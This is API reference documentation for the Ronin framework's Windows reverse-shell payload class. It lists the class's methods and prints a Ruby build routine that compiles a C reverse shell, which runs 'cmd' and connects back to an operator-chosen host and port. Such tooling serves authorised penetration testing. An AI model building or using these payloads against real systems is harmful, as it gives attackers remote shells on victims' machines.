Class: Ronin::Payloads::Bin::Windows::ReverseShell
- Inherits:
-
CPayload
- Object
- Payload
- Ronin::Payloads::BinaryPayload
- CPayload
- Ronin::Payloads::Bin::Windows::ReverseShell
- Includes:
- Metadata::OS, Mixins::ReverseShell, Mixins::Tempfile
- Defined in:
- lib/ronin/payloads/builtin/bin/windows/reverse_shell.rb
Overview
Windows C reverse shell that executes "cmd".
Constant Summary collapse
- SOURCE_FILE =
The path to the
reverse_shell.c
file. File.join(__dir__,'reverse_shell.c')
Instance Attribute Summary
Attributes included from Mixins::PostEx
Attributes inherited from Payload
Instance Method Summary collapse
-
#build ⇒ Object
Builds the shellcode.
Methods included from Mixins::Tempfile
Methods included from Mixins::ReverseShell
#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port
Methods included from Mixins::PostEx
Methods included from Metadata::OS
Methods inherited from CPayload
Methods included from Mixins::CCompiler
cc, #cc, #compile_c, included, #target_arch, #target_os, #target_platform, #target_vendor
Methods inherited from Ronin::Payloads::BinaryPayload
Methods inherited from Payload
#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate
Constructor Details
This class inherits a constructor from Ronin::Payloads::Payload
Instance Method Details
#build ⇒ Object
Builds the shellcode.
70 71 72 73 74 75 76 77 78 79 80 81 |
# File 'lib/ronin/payloads/builtin/bin/windows/reverse_shell.rb', line 70 def build tempfile('reverse_shell', ext: '.c') do |tempfile| compile(SOURCE_FILE, defs: { 'CLIENT_IP' => "\"#{params[:host]}\"", 'CLIENT_PORT' => params[:port] }, libs: %w[ws2_32], output: tempfile.path) @payload = File.binread(tempfile.path) end end |